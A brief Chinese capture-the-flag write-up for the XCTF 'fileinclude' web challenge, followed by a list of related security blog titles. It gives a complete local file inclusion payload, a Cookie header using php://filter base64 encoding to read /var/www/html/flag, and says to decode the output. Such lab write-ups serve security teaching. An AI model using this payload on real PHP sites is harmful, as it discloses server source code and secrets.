攻防世界-fileinclude

原题

解题思路

题目已经告诉了,flag在flag.php中,先查看网页源代码(快捷键CTRL+U)。

通过抓包修改,可以把lan变量赋值flag。在cookie处修改。新打开的网页没有cookie,直接添加"Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag"即可。

base64解码

相关推荐
sadandbad8 小时前
[vulhub靶机通关]DC-2(rbash绕过_git提权)
网络·sql·web安全·网络安全
麦烤楽鸡翅9 小时前
幂数加密(攻防世界)
网络安全·密码学·ctf·crypto·解密·攻防世界·幂数加密
椰羊sqrt9 小时前
CVE-2025-4334 深度分析:WordPress wp-registration 插件权限提升漏洞
android·开发语言·okhttp·网络安全
Oxo Security13 小时前
【AI安全】提示词注入
人工智能·安全·网络安全·ai
介一安全14 小时前
【Frida Android】实战篇1:环境准备
android·网络安全·逆向·frida
Claire_ccat19 小时前
2025山西省网络安全职业技能大赛PWN方向题解
linux·安全·网络安全·pwn·栈溢出
雾迟sec19 小时前
Web安全-文件上传漏洞-黑白名单及其它绕过思路(附思维导图)
javascript·安全·web安全·网络安全·apache·安全威胁分析
unable code21 小时前
攻防世界-Misc-掀桌子
网络安全·ctf·misc·1024程序员节
久违 °2 天前
【安全开发】Nuclei源码分析-任务执行流程(三)
安全·网络安全·go
white-persist2 天前
汇编代码详细解释:汇编语言如何转化为对应的C语言,怎么转化为对应的C代码?
java·c语言·前端·网络·汇编·安全·网络安全